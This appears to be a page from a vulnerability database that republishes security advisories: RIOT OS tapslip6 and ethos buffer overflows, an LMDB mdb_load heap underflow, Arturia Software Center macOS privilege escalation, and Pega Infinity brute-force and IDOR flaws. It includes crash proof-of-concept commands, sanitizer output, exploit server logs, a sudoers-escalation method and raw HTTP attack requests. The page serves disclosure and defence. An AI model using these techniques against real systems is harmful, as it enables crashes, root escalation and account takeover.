exploitation requires local access, the affected utility is commonly
executed with elevated privileges during development, testing, or
deployment of RIOT OS networking environments, increasing impact.
*Root Cause:*int devopen(const char *dev, int flags)
{
char t[1024];
strcpy(t, "/dev/");
strcat(t, dev);
return open(t, flags);
}
*Impact:*
- Stack-based buffer overflow
- Process termination (Denial of Service)
- Memory corruption
*Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF'
print("A"*3000)
EOF
) 10.0.0.1 255.255.255.0
*Output:*=================================================================
==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0
WRITE of size 3001 at 0xfbffa6001140 thread T0
#0 0xaaaab3e609a0 in strcat
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
#1 0xaaaab3ec04f0 in devopen
/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5
#2 0xaaaab3ec04f0 in main
/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18
#3 0xffffa7a42598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaab3dd73ec in _start
(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in
frame
#0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/15 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
analysis
GCVE-1988-2026-0317 (this record)
- possibly related CVE-2021-27427
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GCVE-1988-2026-0316
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
Summary
A stack-based buffer overflow vulnerability exists in the RIOT OS ethos
utility due to missing bounds checking when processing incoming serial
frame data. The vulnerability occurs in the _handle_char() function, where
incoming frame bytes are appended to a fixed-size stack buffer
(serial->frame) without verifying that the current write index
(serial->framebytes) remains within bounds. An attacker capable of sending
crafted serial or TCP-framed input can cause serial->framebytes to exceed
the buffer size (MTU, 9000 bytes), resulting in a write past the end of the
stack buffer. This condition leads to memory corruption, application crash,
and potentially arbitrary code execution depending on compiler options and
runtime protections.
*Vulnerable Code:*
static void _handle_char(serial_t *serial, char c)
{
serial->frame[serial->framebytes] = c;
serial->framebytes++;
}
*Root Cause:*
* serial->frame is a fixed-size stack buffer (char frame[MTU])
* serial->framebytes is unbounded and attacker-controlled
* No validation against MTU before writing
*Proof of Concept:*
*listener:*# python3 payload.py
This exploit acts as a MALICIOUS SERVER.
Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000
The exploit will send the payload when ethos connects.
[*] Starting malicious server on 0.0.0.0:20000
[*] Architecture: aarch64
[*] Exploitation mode: crash
[+] Server listening on 0.0.0.0:20000
[!] Waiting for ethos to connect...
[*] Run ethos like this:
./ethos tap0 tcp:127.0.0.1 20000
[+] ethos client connected from ('127.0.0.1', 37114)
[*] Generating crash payload...
[+] Crash payload ready: 9501 bytes
[*] Waiting 1 second before sending payload...
[*] Sending malicious payload (9501 bytes)...
[*] Sent 1024/9501 bytes...
[*] Sent 2048/9501 bytes...
[*] Sent 3072/9501 bytes...
[*] Sent 4096/9501 bytes...
[*] Sent 5120/9501 bytes...
[*] Sent 6144/9501 bytes...
[*] Sent 7168/9501 bytes...
[*] Sent 8192/9501 bytes...
[*] Sent 9216/9501 bytes...
[*] Sent 9501/9501 bytes...
[+] Payload sent successfully!
[!] ethos client should crash now (check for ASAN output)
[*] Received response:
b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~'
[*] Connection from ('127.0.0.1', 37114) closed
*Connection:*
./ethos tap0 tcp:127.0.0.1 20000
*Output:*----> ethos: sending hello.
----> ethos: activating serial pass through.
ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5
=================================================================
==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418
WRITE of size 1 at 0xfbff8f804848 thread T0
#0 0xaaaae0b9facc in _handle_char
/root/RIOT/dist/tools/ethos/ethos.c:186:39
#1 0xaaaae0b9ed38 in _serial_handle_byte
/root/RIOT/dist/tools/ethos/ethos.c:216:17
#2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34
#3 0xffff91162598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)
(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
analysis
GCVE-1988-2026-0316 (this record)
- possibly related CVE-2021-27427
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GCVE-1988-2025-0005
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
Summary
A heap buffer underflow vulnerability exists in the readline() function of
OpenLDAP's Lightning Memory-Mapped Database (LMDB) mdb_load utility. The
vulnerability is triggered through malformed input data and results in an
out-of-bounds read one byte before an allocated heap buffer. This can lead
to information disclosure through heap memory leakage.
*Root Cause:*
The vulnerability occurs in the readline() function at line 214 of
mdb_load.c. The ASAN output reveals two critical issues:
1. *Integer Underflow:* An unsigned offset addition to 0x521000000100
results in underflow to 0x5210000000ff, indicating a pointer decrement
operation that wraps below the buffer start
2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at
address 0x5210000000ff, which is located 1 byte before the 4096-byte heap
region [0x521000000100, 0x521000001100)
*Impact:*
The vulnerability allows a local attacker to trigger a heap out-of-bounds
read in mdb_load, resulting in reliable denial of service and limited
information disclosure of adjacent heap memory. While no write primitive is
present, the disclosure may expose heap metadata and contribute to exploit
mitigation bypass in multi-stage attacks.
*Evidence:*
# Execute with crash input
./mdb_load -T /tmp/lmdb_asan < [crash_input_file]
*Output:*
mdb_load.c:214:9: runtime error: addition of unsigned offset to
0x521000000100 overflowed to 0x5210000000ff
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9
=================================================================
==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28
READ of size 1 at 0x5210000000ff thread T0
#0 0xaaaacb6f5bf0 in readline
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9
#1 0xaaaacb6ed614 in main
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9
#2 0xffffb4662598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3
#4 0xaaaacb60adec in _start
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
0x5210000000ff is located 1 bytes before 4096-byte region
[0x521000000100,0x521000001100)
allocated by thread T0 here:
#0 0xaaaacb6ad4e4 in malloc
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
#1 0xaaaacb6ed068 in main
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17
#2 0xffffb4662598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3
#4 0xaaaacb60adec in _start
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/5 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "MongoDB",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
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}
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{
"lang": "en",
"type": "finder",
"value": "Ron E"
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GCVE-1988-2026-0276
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:41
VLAI
EPSS
VEX
Title
SEC Consult SA-20260318-0 :: Multiple Privilege Escalation Vulnerabilities in Arturia Software Center MacOS
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260318-0 >
=======================================================================
title: Multiple Privilege Escalation Vulnerabilities
product: Arturia Software Center MacOS
vulnerable version: 2.12.0.3157
fixed version: -
CVE number: CVE-2026-24062, CVE-2026-24063
impact: high
homepage:https://www.arturia.com/technology/asc
found: 2026-01-02
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We create instruments and effects that encourage musical discovery,
reward curiosity, and savor the artistic process. We’re an international
team of passionate people, on a mission to navigate uncharted sonic territory
in the name of creative empowerment.
From the raw analog power of Brute synthesizers to our faithful virtual
instrument emulations of V Collection, we provide musicians with an inspiring
sonic experience that's instantly accessible, exploratory, and thrilling."
Source:https://www.arturia.com/company
Business recommendation:
------------------------
The vendor was unresponsive and did not respond to any of our communication
attempts. Therefore, a patch is not available. In case you are using this
product, please approach the vendor and demand a fix.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Insufficient XPC Client validation (CVE-2026-24062)
It was found that the "Privileged Helper" component of the Arturia Software
Center does not perform sufficient client code signature validation when a
client connects. This leads to an attacker being able to connect to the helper
and execute privileged actions leading to local privilege escalation.
2) World writable uninstall.sh script executed by root (CVE-2026-24063)
It was found that when a plugin is installed using the Arturia Software Center,
that this plugin also installs an uninstall.sh bash script in a root owned path.
This script is written to disk with the file permissions 777, meaning it is
writable by any user. When uninstalling a plugin via the Arturia Software Center
the Privileged Helper gets instructed to execute this script.
When the bash script is manipulated by an attacker this scenario will lead
to privilege escalation.
Proof of concept:
-----------------
1) Insufficient XPC Client validation (CVE-2026-24062)
The Privileged Helper service does not check if the connecting client
is signed with a valid code signature. Any process can connect to the
privileged helper and trigger privileged actions.
The following C code can be used to connect to the privileged helper and
trigger code execution as root. By first using the FINISHM command to achieve
/Library/Arturia being a symlink to /tmp/test and then triggering an UNINSTA
of /Library/Arturia/uninstall.sh, the attacker controlled bash script in
/tmp/test/uninstall.sh will get executed by root. The following example proof
of concept sets up the /tmp/test directory as well as the
/tmp/test/uninstall.sh script containing commands to add the user lowpriv
to the sudoers file.
-----------------
[ PoC exploit code removed ]
-----------------
The code can be compiled using clang:
-----------------
clang -o exploit exploit.c
-----------------
And then be executed like:
-----------------
./exploit com.Arturia.InstallHelper
-----------------
This will trigger execution of /tmp/test/uninstall.sh as root
leading to privilege escalation.
2) World writable uninstall.sh script executed by root (CVE-2026-24063)
When a vst is installed via the ASC the following path will be generated:
-----------------
/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources
-----------------
The following contents are installed:
-----------------
user@usersVilMachine Resources % ls -al
total 8
drwxrwxrwx 3 root wheel 96 Oct 9 09:27 .
drwxrwxrwx 7 root wheel 224 Oct 9 09:27 ..
-rwxrwxrwx 1 root wheel 3315 Oct 9 09:26 uninstall.sh
user@usersVilMachine Resources % pwd
/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources
-----------------
When uninstalling the same software via the ASC the following XPC message
is sent to the InstallHelper:
-----------------
UNINSTA /Library/Arturia/Acid V/Acid V.vst3/Contents/Resources/uninstall.sh
-----------------
This will trigger execution of the uninstall.sh file as root.
The uninstallation can either be triggerd by exploiting the missing
XPC client authentication of the Privileged Helper or by manually
triggering the uninstall via the UI.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 2.12.0.3157
All tests have been performed on MacOS 26.2 with SIP enabled!
Vendor contact timeline:
------------------------
2026-01-05: Contacting vendor throughinfo () arturia com; no response.
2026-01-27: Contacting vendor through contact form. Got error, "Support out of reach!"
2026-01-27: Contact via contact form again, seems to have a bug.
2026-01-27: Contact viainfo () arturia com andwebmaster () arturia com; no response.
2026-02-03: Tried to contact vendor via contact form after login. Got same error.
2026-02-03: Contact viasales.support () arturia com; no response.
2026-02-24: Tried to contact vendor via contact form, again same error.
2026-02-25: Contact viaprivacy-inquiries () arturia com; no response.
2026-03-18: Public release of advisory.
Solution:
---------
The vendor was unresponsive and did not respond to any of our communication
attempts. Therefore, a patch is not available. In case you are using this
product, please approach the vendor and demand a fix.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Arturia | SEC Consult SA-20260318-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0276 (this record)
- related CVE-2026-24062
- related CVE-2026-24063
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260318-0 \u003e\n=======================================================================\n title: Multiple Privilege Escalation Vulnerabilities\n product: Arturia Software Center MacOS\n vulnerable version: 2.12.0.3157\n fixed version: -\n CVE number: CVE-2026-24062, CVE-2026-24063\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.arturia.com/technology/asc\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-02\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We create instruments and effects that encourage musical discovery,\nreward curiosity, and savor the artistic process. We\u2019re an international\nteam of passionate people, on a mission to navigate uncharted sonic territory\nin the name of creative empowerment.\nFrom the raw analog power of Brute synthesizers to our faithful virtual\ninstrument emulations of V Collection, we provide musicians with an inspiring\nsonic experience that\u0027s instantly accessible, exploratory, and thrilling.\"\n\nSource:https://www.arturia.com/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nIt was found that the \"Privileged Helper\" component of the Arturia Software\nCenter does not perform sufficient client code signature validation when a\nclient connects. This leads to an attacker being able to connect to the helper\nand execute privileged actions leading to local privilege escalation.\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nIt was found that when a plugin is installed using the Arturia Software Center,\nthat this plugin also installs an uninstall.sh bash script in a root owned path.\nThis script is written to disk with the file permissions 777, meaning it is\nwritable by any user. When uninstalling a plugin via the Arturia Software Center\nthe Privileged Helper gets instructed to execute this script.\nWhen the bash script is manipulated by an attacker this scenario will lead\nto privilege escalation.\n\n\nProof of concept:\n-----------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nThe Privileged Helper service does not check if the connecting client\nis signed with a valid code signature. Any process can connect to the\nprivileged helper and trigger privileged actions.\n\nThe following C code can be used to connect to the privileged helper and\ntrigger code execution as root. By first using the FINISHM command to achieve\n/Library/Arturia being a symlink to /tmp/test and then triggering an UNINSTA\nof /Library/Arturia/uninstall.sh, the attacker controlled bash script in\n/tmp/test/uninstall.sh will get executed by root. The following example proof\nof concept sets up the /tmp/test directory as well as the\n/tmp/test/uninstall.sh script containing commands to add the user lowpriv\nto the sudoers file.\n-----------------\n[ PoC exploit code removed ]\n-----------------\n\nThe code can be compiled using clang:\n-----------------\nclang -o exploit exploit.c\n-----------------\n\nAnd then be executed like:\n-----------------\n./exploit com.Arturia.InstallHelper\n-----------------\n\nThis will trigger execution of /tmp/test/uninstall.sh as root\nleading to privilege escalation.\n\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nWhen a vst is installed via the ASC the following path will be generated:\n-----------------\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nThe following contents are installed:\n-----------------\nuser@usersVilMachine Resources % ls -al\ntotal 8\ndrwxrwxrwx 3 root wheel 96 Oct 9 09:27 .\ndrwxrwxrwx 7 root wheel 224 Oct 9 09:27 ..\n-rwxrwxrwx 1 root wheel 3315 Oct 9 09:26 uninstall.sh\nuser@usersVilMachine Resources % pwd\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nWhen uninstalling the same software via the ASC the following XPC message\nis sent to the InstallHelper:\n-----------------\nUNINSTA /Library/Arturia/Acid V/Acid V.vst3/Contents/Resources/uninstall.sh\n-----------------\nThis will trigger execution of the uninstall.sh file as root.\nThe uninstallation can either be triggerd by exploiting the missing\nXPC client authentication of the Privileged Helper or by manually\ntriggering the uninstall via the UI.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 2.12.0.3157\n\nAll tests have been performed on MacOS 26.2 with SIP enabled!\n\n\nVendor contact timeline:\n------------------------\n2026-01-05: Contacting vendor throughinfo () arturia com; no response.\n2026-01-27: Contacting vendor through contact form. Got error, \"Support out of reach!\"\n2026-01-27: Contact via contact form again, seems to have a bug.\n2026-01-27: Contact viainfo () arturia com andwebmaster () arturia com; no response.\n2026-02-03: Tried to contact vendor via contact form after login. Got same error.\n2026-02-03: Contact viasales.support () arturia com; no response.\n2026-02-24: Tried to contact vendor via contact form, again same error.\n2026-02-25: Contact viaprivacy-inquiries () arturia com; no response.\n2026-03-18: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0257
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:41
VLAI
EPSS
VEX
Title
SEC Consult SA-20260317-0 :: Multiple vulnerabilities in PEGA Infinity platform
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260317-0 >
=======================================================================
title: Multiple vulnerabilities
product: PEGA Infinity platform
vulnerable version: CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0
CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2
fixed version: CVE-2025-62181: 24.1.4, 24.2.4, and 25.1.1 patch
CVE-2025-9559: 24.2.3
CVE number: CVE-2025-62181, CVE-2025-9559
impact: medium
homepage:https://www.pega.com/
found: 2024-12-12
by: Eric Kahlert
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We are Pega- The enterprise transformation company.™
Our enterprise AI decisioning and workflow automation platform delivers business
transforming value. Together, we partner with the world’s largest organizations
to Build for Change®."
Source:https://www.pega.com/about
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Weak Brute-Force protection for login page (CVE-2025-62181)
The application's login form implements a weak login brute-force protection
mechanism, which is only effective against multiple login attempts using
different passwords. Attacks using the same password on different users and
username enumeration are therefore not prevented.
An attacker can perform the following attacks:
- Username Enumeration: An attacker can test a large list of potential usernames
against the login mechanism and distinguish between valid and invalid usernames
based on the server's response time.
- Password Spraying: In a password spraying attack, the same password is tested
against many different usernames, potentially granting unauthorized access to user
accounts in the worst-case scenario. To exploit this vulnerability, an attacker
could, for example, create a script that uses the most common passwords and a list
of known valid usernames to attempt authentication.
2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)
An Insecure Direct Object Reference (IDOR) occurs when an application grants direct
access to objects based on user input without performing sufficient authorization
checks. As a result, attackers can bypass authorization and directly access system
resources, such as files. In this case the IDOR vulnerability can be used to read
image files from other users without setting the option to share the images with
others.
Proof of concept:
-----------------
1) Weak Brute-Force protection for login page (CVE-2025-62181)
This is an invalid login request:
POST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1
Host: [...]
Cookie: Pega-RULES=[...]; JSESSIONID=[...]; ROUTEID=[...]
[...]
pzAuth=guest&UserIdentifier=PentestBenutzer_1&Password=invalid_password&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=
The server response for a valid username shows a significantly higher response
time compared to responses with invalid usernames. An attacker can use a large
list of potential usernames in a script to enumerate valid usernames, as illustrated
in the following example, see figure <responseTimeTable.png>
In less than a minute, 8,000 invalid authentication attempts were made from the same
IP address using different usernames and the same password.
Password Spraying:
After enumerating valid usernames, an attacker can execute a password spraying attack by
using the same request method as for username enumeration. A script is used to test the
same password across many different usernames without triggering the brute-force protection.
During this attack, 8,000 invalid authentication attempts were again made from the same
IP address in under a minute, using different usernames and the same password.
The attacker would repeat this attack with a list of valid usernames and common passwords
until a successful login is found.
As shown in the following example, the attack was successful with the username PentestBenutzer_1.
See figure <passwordSpray.png>
2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)
In order to verify this vulnerability, e.g. a test user "user_1" is logged in:
POST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1
Host: [...]
Cookie: p_unknown=true%7Bapp%7D; Pega-RULES[...]; JSESSIONID=[...]; ROUTEID=[...]
[...]
pzAuth=guest&UserIdentifier=user_1&Password=[...]&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=
The user receives the following Pega-RULES session cookie:
HTTP/1.1 303 See Other
Date: Thu, 12 Dec 2024 13:36:53 GMT
[...]
SET-COOKIE: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; Path=[...]; Secure; HttpOnly; SameSite=Lax;
X-Content-Type-Options: nosniff
Connection: close
Another user "user_2" uploads an image, which is a two step process:
POST
/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pyActivity=ReloadSection&pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb&pzFromFrame=pyWorkPage&pzPrimaryPageName=pyWorkPage&pzKeepPageMessages=false&strPHarnessClass=XXX&strPHarnessPurpose=Review&UITemplatingStatus=Y&StreamName=pzBrowseDocument&BaseReference=pyAttachmentPage&StreamClass=Rule-HTML-Section&bClientValidation=true&FormError=NONE&pyCustomError=pyCaseErrorSection&PreActivity=pzUploadFileToADocument&HeaderButtonSectionName=-1&PagesToRemove=&pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4&inStandardsMode=true&AJAXTrackID=1&PreDataTransform=
HTTP/1.1
Host: [...]
Cookie: Pega-Perf=itkn=5; Pega-RULES[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; ROUTEID=[...]
Content-Length: 32973
[...]
------WebKitFormBoundaryTll7wmP4P42lbosV
Content-Disposition: form-data; name="$PpyAttachmentPage$ppxAttachName"; filename="cat.png"
Content-Type: image/png
PNG
[...]
The upload is finalized with a second HTTP POST request:
POST
/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb&pzFromFrame=pyWorkPage&pzPrimaryPageName=pyWorkPage&AJAXTrackID=1
HTTP/1.1
Host: [...]
Cookie: Pega-Perf=itkn=7&start; Pega-RULES=[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...];
ROUTEID=[...]
Content-Length: 2655
[...]
